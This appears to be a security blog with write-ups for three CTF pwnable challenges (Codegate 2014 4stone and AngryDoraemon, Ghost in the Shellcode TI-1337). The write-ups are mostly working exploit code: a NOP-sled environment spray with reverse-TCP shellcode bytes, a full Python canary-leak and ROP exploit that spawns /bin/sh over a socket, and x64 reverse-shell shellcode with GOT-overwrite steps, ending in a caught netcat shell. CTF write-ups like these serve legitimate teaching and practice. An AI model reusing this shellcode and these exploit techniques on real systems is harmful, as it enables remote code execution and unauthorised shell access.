pwnable

Codegate 2k14 4stone (Pwnable 300) Write Up

In this level we are presented with a connect 4 game written with ncurses. After playing a couple of times we find a combination to win: DHHDLLDHDDDLDD

Nothing happens though so lets fire up Hopper and take a look at the code. A good place to start is by analyzing the code around the you win and you lose exit strings and actually, after priting the you win string we can find an interesting piece of code before the call to exit()

If we decompile we can easily read what the code is doing:

If we win in 0 seconds, and the number or arguments passed to the program is 2 (the program and a first argument), then the first argument is converted into an unsigned long and with gdb we can see that scanf("%x", 0xbffffab8) is called, so we are writing whatever hexadecimal value we receive in stdin as an unsigned integer(4 bytes) in the stack. Then the program checks if the value read starts with 0x0804xxxx or 0xbxxxxxxx and if thats not the case, the value read from the first argument is stored in the address got from the stdin. So basically we have a 4 bytes write to any arbitrary address not starting with those prefixes.

Lets check it. First we need to prepare a file with the combo needed to win in 0 seconds and the value we want to write in memory:

Now we need to run the program with an argument pointing to an address outside the restricted areas. If we look into the process memory mapping, we see that only a tiny portion of the heap is outside those addresses:

We can increase it by augmenting the stack area running ulimit -s unlimited effectively disabling ASLR:

Much better, now the only protected memory area are the stack and the binary. Too bad we cannot overwrite [email protected] since its going to be called right after the arbitrary 4 bytes write.

For now we are going to write 0x41414141 in 0x4001f000 that has write permissions to verify the vulnerability.

Breakpoint 2, 0x080498ac in ?? ()  
=> 0x080498ac:  89 10   mov    DWORD PTR [eax],edx
gdb-peda$ i r eax edx  
eax            0x4001f000       0x4001f000  
edx            0x41414141       0x41414141  
gdb-peda$ n  
gdb-peda$ x/x $eax  
0x4001f000:     0x41414141  

Pretty cool!! but useless ... so where and what to write??? The only code left to run is the call to exit() so we need a way to hijack that call and we cannot write to the GOT. Lets review what is going to happen when we reach the call to exit() and lets try to find a place to redirect the execution flow:

  • The program calls exit() and jumps to PLT
  • PLT jumps to the GOT but since the address has not being resolved yet, we jump to the dynamic loader to locate the address of exit() in libc and write the address to the GOT so we can effectively jump to the exit() code.

In order to calculate the exit() address, the dynamic loader will check libc address and the offset of exit() in libc. If we can influence either the base or the offset we will be able to redirect the original call to any arbitrary location. If we are going to debug the dynamic loader, we better get ourselves some symbols.

We will need:

  • libc debug symbol: sudo apt-get install libc-dbg
  • libc6 source: sudo apt-get source libc6*

Don't know why but symbols for the loader need to be manually loaded. Adjust the ld-linux address and add these lines to a gdb script:

show auto-solib-add  
add-symbol-file /usr/lib/debug/lib/i386-linux-gnu/ld-2.13.so 0x40000820  
directory /mnt/hgfs/Desktop/Codegate2k14/4stone/eglibc-2.13/elf  
sharedlibrary  
info sharedlibrary  

Run gdb and check that ld symbols are loaded

We want to find out where the libc address or exit offset are stored so we can recognize them while tracing the loader resolution. These are the values we are looking for:

Ok, lets start the tracing. The first instruction in ld-linux is:

And look that, we even have comments!! ;) Ok, the _dl_runtime_resolve funcion doesn't look too scary:

_dl_fixup is a different thing, but it has few calls and the second one to _dl_lookup_symbol_x looks promising.

As seen in the screenshot, right after the call EAX is updated with 0x40082000 which contains 0x40083000 the libc base address we were looking for. And if you go up to the process memory mapping, you will see that that address is writable!

In this case we were lucky, the libc address pop up quite early, but I wrote this script to automate the task in case I had to trace deep in the loader guts:

import gdb  
import time

gdb.execute("set python print-stack full", False, True)  
gdb.execute("set height 0", False)  
gdb.execute("show auto-solib-add", False)  
gdb.execute("add-symbol-file /usr/lib/debug/lib/i386-linux-gnu/ld-2.13.so 0x40000820", False)  
gdb.execute("directory /mnt/hgfs/Desktop/Codegate2k14/4stone/eglibc-2.13/elf", False)  
gdb.execute("sharedlibrary", False)

# Set bp at 'call   0x8048710 <[email protected]>'
gdb.execute("break *0x%x" % 0x80498b5, False)

libc = "40083000"  
# Run binary
gdb.execute("r 4001f000 < combo", False, True)  
start_time = time.time()  
print "[+] Tracing ... "  
print "[+] Looking for libc base address (0x40083000) ... "

while True:  
    try:
        output = gdb.execute("context register", False, True)
        if libc in output:
            print output
            print("[+] Found in: {0} seconds".format(str(time.time() - start_time)))
            break
        gdb.execute("si", False, True)
    except gdb.error as detail:
        if str(detail) == "The program is not being run.":
            break
        print str(detail)

Running the tracer, we can quickly find the address where the libc base is stored:

OK, So [email protected] is going to be updated with libc_base + exit_offset; we now control libc base, and we know the offset so if we want to redirect the execution flow, lets say that to 0x41414141 we have to overwrite the libc base address with 0x41414141 - 0xa1354 = 0x41372ded. Let's try it, we will update the combo file with this value (so it is sent to the program via stdin) and call the executable with 0x40082000 as argument.

Sweet, we now control EIP!! But where should we jump?? We dont control any area in the stack and we cannot pass more arguments to the program, so the only thing we can do is a Environment variable Spray with a large NOP sled and a shellcode and then jump to a high address (0xbff00000 + 0xa1354) of the stack hoping to land in the NOP sled.

Shellcode: reverse TCP connection to port 4444 on local machine:

Environment Spray:

for i in $(seq 1 1024); do export payload$i="`python -c "print '\x90'*2048+'\xbf\xdd\xc9\xc5\xd6\xd9\xc5\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x12\x83\xc0\x04\x31\x78\x0e\x03\xa5\xc7\x27\x23\x64\x03\x50\x2f\xd5\xf0\xcc\xda\xdb\x7f\x13\xaa\xbd\xb2\x54\x58\x18\xfd\x6a\x92\x1a\xb4\xed\xd5\x72\x38\x0e\x26\x83\xae\x0c\x26\x92\x72\x98\xc7\x24\xec\xca\x56\x17\x42\xe9\xd1\x76\x69\x6e\xb3\x10\x5d\x40\x47\x88\xc9\xb1\xc5\x21\x64\x47\xea\xe3\x2b\xde\x0c\xb3\xc7\x2d\x4e'"`"; done  

Failed attempt:

aaaaand we got our shell:

Voila!!

Codegate 2k14 AngryDoraemon (pwnable 250) write up

This is an easy pwnable level but very interesting since there are many ways to exploit it so lets start checking the binary protections:

Not bad, ASLR and NX enabled and the stack is protected with a Canary. Lets analyze what does it do ... Running the binary opens a socket in port 8888 which we can connect to and receive a menu with options to attack Doraemon:

Normally I play with the binary and try to get a crash which is simple in this case, but this time I decided to do some Reversing that payed off very well, I found the following vulnerabilities:

  • First Attack -> right attack: Allows us to enter any 4 bytes and call that address.
    • {% img center /images/angrybird-4.png %}
  • Sword options leads to a portion of code that executes a shell :) However we cannot intereact with it :(
    • {% img center /images/angrybird-3.png %}
  • Mouse attack -> are you sure? contains a buffer overflow, but the stack is protected with the canary
    • {% img center /images/angrybird-12.png %}
    • However we still get some output in the client:
    • {% img center /images/angrybird-5.png %}

That last vulnerability is interesting! not only allow us to influence EIP but also leak some bytes from memory! Lets see how it works. If we send yAAAA we get the following stack right before the "ret":

We can see that ESP points to 0x0840492c5 that is the saved EIP, the dword before is the saved EBP and the one in 0xbffff95c is the canary (starting with a \x00). When the program prints "You choose xxxx" its printing a null terminated string starting at 0xbffff952

This is really close to our canary so if we send some more As we can extend the string so it includes the bytes in the canary. Since it contains a null byte at the beggining, we have to overwrite it too so the strings get extended until next null. We need "y" + 10 "A"s. Actually, we can even include the saved EBP in the leak so we can use it as a reference to point to items in the stack. Cool!

Lets write a small script to leak the canary and EBP:

def get_canary(ip, port):  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("[+] Wating for menu")
    time.sleep(3)
    # Receive menu
    s.recv(1024)
    s.send("4\n")
    time.sleep(1)
    print("[+] Sending mouse trap")
    payload = "y" + "A"*9 + "\n"
    s.send(payload)
    # Receive "are you sure?"
    message = s.recv(60)
    # Receive canary
    message = s.recv(60)
    canary_group = re.match(".*yAAAAAAAAA\n(.*)'!.*", message)
    canary = struct.unpack("<I", "\x00" + canary_group.group(1)[:3])[0]
    ebp = struct.unpack("<I", canary_group.group(1)[11:15])[0]
    eip = struct.unpack("<I", canary_group.group(1)[15:19])[0]
    print "[+] Got canary %#x" % canary
    print "[+] Got saved ebp %#x" % ebp
    print "[+] Got saved eip %#x" % eip
    s.close()
    return (canary, ebp, eip)

Ok, now that we know the canary we can use it to influence EIP without firing all the alarms. Since the stack is not executable we will need a ROP chain to get code execution. My idea is to redirect stdin, stdout and stderr to the opened socket and then redirect the code flow to the original call to execl("/bin/sh") present in the code. But since the system has ASLR enabled we need to leak a libc address to calculate dup2 address.

Since the PLT contains interesting functions like read or write, we can interact with the application. For example we can use the ROP chain to call write and send any number of bytes to the socket, even the whole binary (interesting for Blind ROP techniques). What content are we interested in? what about a resolved address in the GOT so we can leak a libc function address? That way and since the offsets will be constant, we can calculate any function address in libc. This is the script to leak any address from the GOT:

def leak_address(ip, port, canary, ebp, address, socketfd):  
    ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ss.connect((ip, port))
    print("[+] Reconnecting")
    time.sleep(3)
    # Receive menu
    ss.recv(1024)
    ss.send("4\n")
    time.sleep(1)
    # Receive "are you sure?"
    ss.recv(60)
    print("[+] Sending leakage payload")
    leak_payload = ["y"*10,
                p(canary),
                "B"*8,
                p(ebp),
                p(0x080486e0), # [email protected]
                p(0x41414141), # exit
                p(socketfd),  # socket fd
                p(address),  # [email protected]: address to read [email protected] from
                p(4), # bytes to read
                "\n"]

    leak_payload = "".join(leak_payload)
    ss.send(leak_payload)
    leak = ss.recv(4)
    ss.close()
    return struct.unpack("<I", leak)[0]

In this case we use a ROP chain that calls "write" and reads 4 bytes from the GOT offset where [email protected] is stored and send it to the socket fd.

Now lets find out the offset between "write" and "dup2" in libc:

Cool, so we now can call dup2 to redirect the standard output and input to the socket, run our shell and interact with it. The payload looks like:

(canary, ebp, eip) = get_canary(ip, port)

write_addr = leak_address(ip, port, canary, ebp, 0x804b040, socketfd)

dup2_write_offset = 0x7d0  
dup2_addr = write_addr + dup2_write_offset

print "[+] Leaked write address %#x" % write_addr  
print "[+] Got dup2 address %#x" % dup2_addr

payload =   ["A"*10,  
            p(canary),
            "B"*8,
            p(ebp),
            p(dup2_addr),
            p(0x080495be), # pop, pop, ret
            p(socketfd),  # fd 4
            p(0),  # fd 0
            p(dup2_addr),
            p(0x080495be), # pop, pop, ret
            p(socketfd),  # fd 4
            p(1),  # fd 1
            p(dup2_addr),
            p(0x080495be), # pop, pop, ret
            p(socketfd),  # fd 4
            p(2),  # fd 2
            p(0x08048c62), # call execl("/bin/sh")
            "\n"]

We basically call dup2 three times to redirect stdin, stdout and stderr to the socket and then we return to 0x08048c62 where there is a call to execl("/bin/sh"). Convenient, right? Now all we have to do is interact with the shell via the socket:

print "[+] Shell is waiting ..."  
while True:  
    sys.stdout.write("$ ")
    sys.stdout.flush()
    c = sys.stdin.readline()
    s.send(c)
    time.sleep(0.5)
    print s.recv(4095)

Voila!

Full exploit:

import socket  
import struct  
import time  
import sys  
import re

def get_canary(ip, port):  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("[+] Wating for menu")
    time.sleep(3)
    # Receive menu
    s.recv(1024)
    s.send("4\n")
    time.sleep(1)
    print("[+] Sending mouse trap")
    payload = "y" + "A"*9 + "\n"
    s.send(payload)
    # Receive "are you sure?"
    message = s.recv(60)
    # Receive canary
    message = s.recv(60)
    canary_group = re.match(".*yAAAAAAAAA\n(.*)'!.*", message)
    canary = struct.unpack("<I", "\x00" + canary_group.group(1)[:3])[0]
    ebp = struct.unpack("<I", canary_group.group(1)[11:15])[0]
    eip = struct.unpack("<I", canary_group.group(1)[15:19])[0]
    print "[+] Got canary %#x" % canary
    print "[+] Got saved ebp %#x" % ebp
    print "[+] Got saved eip %#x" % eip
    s.close()
    return (canary, ebp, eip)

def leak_address(ip, port, canary, ebp, address, socketfd):  
    ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ss.connect((ip, port))
    print("[+] Reconnecting")
    time.sleep(3)
    # Receive menu
    ss.recv(1024)
    ss.send("4\n")
    time.sleep(1)
    # Receive "are you sure?"
    ss.recv(60)
    print("[+] Sending leakage payload")
    leak_payload = ["y"*10,
                p(canary),
                "B"*8,
                p(ebp),
                p(0x080486e0), # [email protected]
                p(0x41414141), # exit
                p(socketfd),  # socket fd
                p(address),  # [email protected]: address to read [email protected] from
                p(4), # bytes to read
                "\n"]

    leak_payload = "".join(leak_payload)
    ss.send(leak_payload)
    leak = ss.recv(4)
    ss.close()
    return struct.unpack("<I", leak)[0]

def ask_for_key():  
    print "[+] Now change gdb affinity and press any key"
    input = raw_input()

def send_mouse_attack(s, payload):  
    print("[+] Reconnecting")
    time.sleep(3)
    # Receive menu
    s.recv(1024)
    s.send("4\n")
    time.sleep(1)
    # Receive are you sure?
    s.recv(1024)
    print("[+] Sending payload")
    s.send(payload)

def p(addr):  
    return struct.pack("<I", addr)


if __name__ == "__main__":  
    ip = '127.0.0.1'
    port = 8888
    socketfd = 4

    (canary, ebp, eip) = get_canary(ip, port)

    write_addr = leak_address(ip, port, canary, ebp, 0x804b040, socketfd)

    dup2_write_offset = 0x7d0
    dup2_addr = write_addr + dup2_write_offset

    print "[+] Leaked write address %#x" % write_addr
    print "[+] Got dup2 address %#x" % dup2_addr

    payload =   ["A"*10,
                p(canary),
                "B"*8,
                p(ebp),
                p(dup2_addr),
                p(0x080495be), # pop, pop, ret
                p(socketfd),  # fd 4
                p(0),  # fd 0
                p(dup2_addr),
                p(0x080495be), # pop, pop, ret
                p(socketfd),  # fd 4
                p(1),  # fd 1
                p(dup2_addr),
                p(0x080495be), # pop, pop, ret
                p(socketfd),  # fd 4
                p(2),  # fd 2
                p(0x08048c62), # call execl("/bin/sh")
                "\n"]

    payload = "".join(payload)
    #ask_for_key()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    send_mouse_attack(s, payload)
    time.sleep(1)

    print "[+] Shell is waiting ..."
    while True:
        sys.stdout.write("$ ")
        sys.stdout.flush()
        c = sys.stdin.readline()
        s.send(c)
        time.sleep(0.5)
        print s.recv(4095)

    s.close()

Ghost in the Shellcode: TI-1337 Pwnable

In this level we were presented with an ELF 64bits executable, a good oportunity to exercise linux exploiting on 64bits systems and try Hopper for the first time :)

When you run the binary, it begins listening in port 31415 (pi!) but if we try to connect, it complains about a missing user "gambino". So we have to create the user. Once created, if we try to connect to the service we get nothing. We can send arbitrary data and if we send strings we get a "Unknown op 'your string here'" error, so it seems like its waiting for commands. Sending numbers dont return any errors.

Since its a network service, we can assume its using fork to spawn new process to attend the incoming requests. We will be using Hopper to dissasamble and revere the binary. So first thing to do is find if there is a fork and of so replace it with a NOP instruction that also sets RAX to 0 so the program can continue as if it was the child process.

fork() call can be found at 0x0000000000400f65 (E8 06 FD FF FF) and if you dont want to be setting gdb to follow child processes, you can use an hex editor to replace it with xor eax,eax; nop; nop; nop (31 c0 90 90 90) as suggested in this post

If the fork goes ok, the child runs this code that uses "call rax" to jump to the main routine. I used gdb to find out the value of rax at that point that turns out to be 0x401567

The first thing it does here is calling a function (sub401395) that we will rename to receivecommand since thats exactly what it does. When it receives data, it stores it in a buffer of 256 bytes that we cannot overflow. When it receives a line terminator (0x0a), it scans the value using sscanf and "%lg" as the format string which stands for a double (number with up to six digits of precision). If the scan is successful the value is stored in an structure along with a 0x1 to indicate its a double value. Any other non numeric value is stored in the same structure but using 0x2 to indicate it was not a number.

Back in the main routine, it checks the structure returned and if it was numeric it calls a function (sub_40149f) that copies the value in a memory area that behaves like a stack, growing to higher memory values. This stack stores the total number of items stored in the first qword followed by a null qword and then the stored items:

gdb-peda$ x/64x $rdx  
0x603140:   0x0000000000000001  0x0000000000000000   <- Beggining of the stack (# items - 0x0)  
0x603150:   0x3ff0000000000000  0x0000000000000000   <- (1st item - not used yet)  
0x603160:   0x0000000000000000  0x0000000000000000   <- (not used yet - not used yet)  

If the command sent was not numeric, it uses a jump table (switch) to process the operand. If the command received is bigger than 0x71 = ‘q’ it quits with a "non valid op" error. If its between 0x0 and 0x50 it uses the jump table that after an initial analysis seems to be waiting for the following commands: +,-,*,/,^,!,b,c,.

This looks like a calculator so we try to send some operations and find out what these commands are used for. It turns out to be a reverse notation calculator where you first enter the values and then the operand. This is the meaning of the following operands:

  • +: Adds the two values on the top of the stack
  • -: Same but substracts
  • *: Multiply
  • /: Division
  • !: ¿?¿?
  • ^: power
  • b: pops a value from the stack and prints the value
  • c: clear the stack, moves the stack pointer to the beggining of the stack and initialize the counter but does not erase stored values.
  • .: prints the value on the top of the stack

Note that Hopper cannot reverse the jump table correctly.

Ok, so the vulnerability here is that "b" pop items from the calculator stack but does not check if it reaches the bottom. So we can pop as many values as we want and then send doubles that will be stored in any memory location before the calculator stack. And what do we have there??

gdb-peda$ x/64x $rdx - 256  
0x603040 <[email protected]>:  0x0000000000400b16  0x00007ffff78a0250  
0x603050 <[email protected]>:   0x00007ffff78c1b90  0x0000000000400b46  
0x603060 <[email protected]>:   0x00007ffff78c1b80  0x00007ffff78546d0  
0x603070 <[email protected]>: 0x0000000000400b76  0x0000000000400b86  
0x603080 <[email protected]>:   0x00007ffff789fa20  0x00007ffff7879df0  
0x603090 <[email protected]>:   0x00007ffff77efdb0  0x00007ffff7803380  
0x6030a0 <[email protected]>:    0x00007ffff787b670  0x0000000000400be6  
0x6030b0 <[email protected]>: 0x0000000000400bf6  0x00007ffff7828fd0  
0x6030c0 <[email protected]>:  0x00007ffff78ac820  0x00007ffff78ac700  
0x6030d0 <[email protected]>:  0x00007ffff787db90  0x00007ffff78ac6a0  
0x6030e0 <[email protected]>:    0x0000000000400c56  0x00007ffff787db30  
0x6030f0 <[email protected]>:    0x0000000000400c76  0x00007ffff78acbb0  
0x603100:   0x0000000000000000  0x0000000000000000  
0x603110:   0x0000000000007ab7  0x0000000000401a10  
0x603120:   0x0000000000000000  0x0000000000000000  
0x603130:   0x0000000000000000  0x0000000000000000  
0x603140:   0x0000000000000001  0x0000000000000000   <- Beggining of the stack (# items - 0x0)  
0x603150:   0x3ff0000000000000  0x0000000000000000   <- (1st item - not used yet)  
0x603160:   0x0000000000000000  0x0000000000000000   <- (not used yet - not used yet)  

The GOT!!!! So we can overwrite any entry in the GOT so that when that function gets called, the program flow will jump to the address we can set there. So we can store our shellcode in the calculator stack and then clear it (not erasing the shellcode) and then pop 38 items so that next value we send will effectively overwrite the GOT entry for recv() with the address of the begining of our shellcode. Next call to recv() will be replaced with a call to our shellcode. Only problem here is that we need to send doubles and account for how they are going to be stored in memory. I couldnt get it working in python (struct.unpack("d", value)) since the precision was not accurate and I couldnt control the values to be written in the stack, so I borrowed the converter used in this post .... yep, I cheated, damn python!

Using that converter:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, const char *argv[]) {

        /* The address and port for the shellcode */
        #define SCPORT "\x41\x41" /* 16705 */
        #define SCIPADDR "\xc0\xa8\xef\x90" /* 192.168.239.144 */

        /* The shellcode */
        char shellcode[] =
          "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
          "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
          "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
          "\x02"SCPORT"\xc7\x44\x24\x04"SCIPADDR"\x48\x89\xe6\x6a\x10"
          "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
          "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
          "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
          "\x5f\x6a\x3b\x58\x0f\x05"
          /* End with a bunch of NOPs to make sure it's a multiple of 8 */
          "\x90\x90\x90\x90\x90\x90\x90\x90";


        int i;
        for(i = 0; i < strlen(shellcode); i += 8) {
          char buf[1024];
          double d;

          /* Convert the value to a double */
          memcpy(&d, shellcode + i, 8);

          /* Turn the double into a string */
          sprintf(buf, "%.127lg\n", d);
          printf("%s", buf);
        }
        exit(0);
}

This program will generate the doubles we need to send in order to place our shellcode that will look like this:

gdb-peda$ x/64x $rdx  
0x603140:   0x0000000000000010  0x0000000000000000  
0x603150:   0x3148ff3148c03148  0x6ac0314dd23148f6  <--- shellcode  
0x603160:   0x5a066a5e016a5f02  0xc08949050f58296a  
0x603170:   0x5241d2314df63148  0x2444c766022404c6  
0x603180:   0xc0042444c7414102  0x106ae6894890efa8  
0x603190:   0x0f582a6a5f50415a  0x485e036af6314805  
0x6031a0:   0x75050f58216aceff  0x5a5e5757ff3148f6  
0x6031b0:   0x2f6e69622f2fbf48  0x545708efc1486873  
0x6031c0:   0x9090050f583b6a5f  0x0000909090909090  <---- ending nops  
0x6031d0:   0x0000000000000000  0x0000000000000000  

and my exploit:

import socket  
import struct  
import subprocess  
import time

host = "localhost"  
port = 31415

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))

cmd="/home/pwntester/Desktop/gits-2014/ti-1337/convert"  
result = subprocess.check_output(cmd, shell=True)  
lines = result.split("\n")  
print "[+] Sending shellcode"  
for line in lines:  
        if line != "":
                print "[+] Sending: " + line
                s.send(line + '\n')

print "[+] Clearing Stack"  
s.send('c\n')  
print "[+] Popping my way to [email protected]"  
for i in xrange(38):  
        s.send('b\n')
print "[+] Replacing [email protected] with shellcode address"  
s.send('2261634.5098039214499294757843017578125\n')  # 0x4141414141414141  
time.sleep(1)  
s.close()  

Executing this exploit will place 41414141414141 in the GOT entry for recv() so we should get a crash:

gdb-peda$  
Program received signal SIGSEGV, Segmentation fault.  
[----------------------------------registers-----------------------------------]
RAX: 0x8  
RBX: 0x0  
RCX: 0x0  
RDX: 0x1  
RSI: 0x7fffffffe29f --> 0x10a  
RDI: 0x8  
RBP: 0x7fffffffe2b0 --> 0x7fffffffe3f0 --> 0x7fffffffe530 --> 0x7fffffffe560 --> 0x7fffffffe590 --> 0x0  
RSP: 0x7fffffffe268 --> 0x401357 (mov    QWORD PTR [rbp-0x10],rax)  
RIP: 0x400ad0 (<[email protected]>:  jmp    QWORD PTR [rip+0x20254a]        # 0x603020 <[email protected]>)  
R8 : 0x0  
R9 : 0x600000 ('')  
R10: 0x0  
R11: 0x7ffff7854b0d (ret)  
R12: 0x400c90 (xor    ebp,ebp)  
R13: 0x7fffffffe670 --> 0x1  
R14: 0x0  
R15: 0x0  
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)  
0x0000000000400ad0 in [email protected] ()  
gdb-peda$ x/1x 0x000603020  
0x603020 <[email protected]>:    0x4141414141414141  

Nice, we can now overwrite the GOT entry with our shellcode address (0x0000000000603150) using this double: 3.114629356634885514212623795744696989099126200464912460920046189338858451871977588458999392410662226841627927565265440233180118e-317

gdb-peda$ x/x 0x603020  
0x603020 <[email protected]>:    0x0000000000603150  

We successfully owerwrite the GOT entry with the shellcode address and we get our shell back:

[email protected]:~# nc -lvp 16705  
nc: listening on :: 16705 ...  
nc: listening on 0.0.0.0 16705 ...  
nc: connect to 192.168.239.144 16705 from 192.168.239.144 (192.168.239.144) 50403 [50403]  
pwd  
/home/gambino
id  
uid=1001(gambino) gid=1000(gambino) groups=1000(gambino)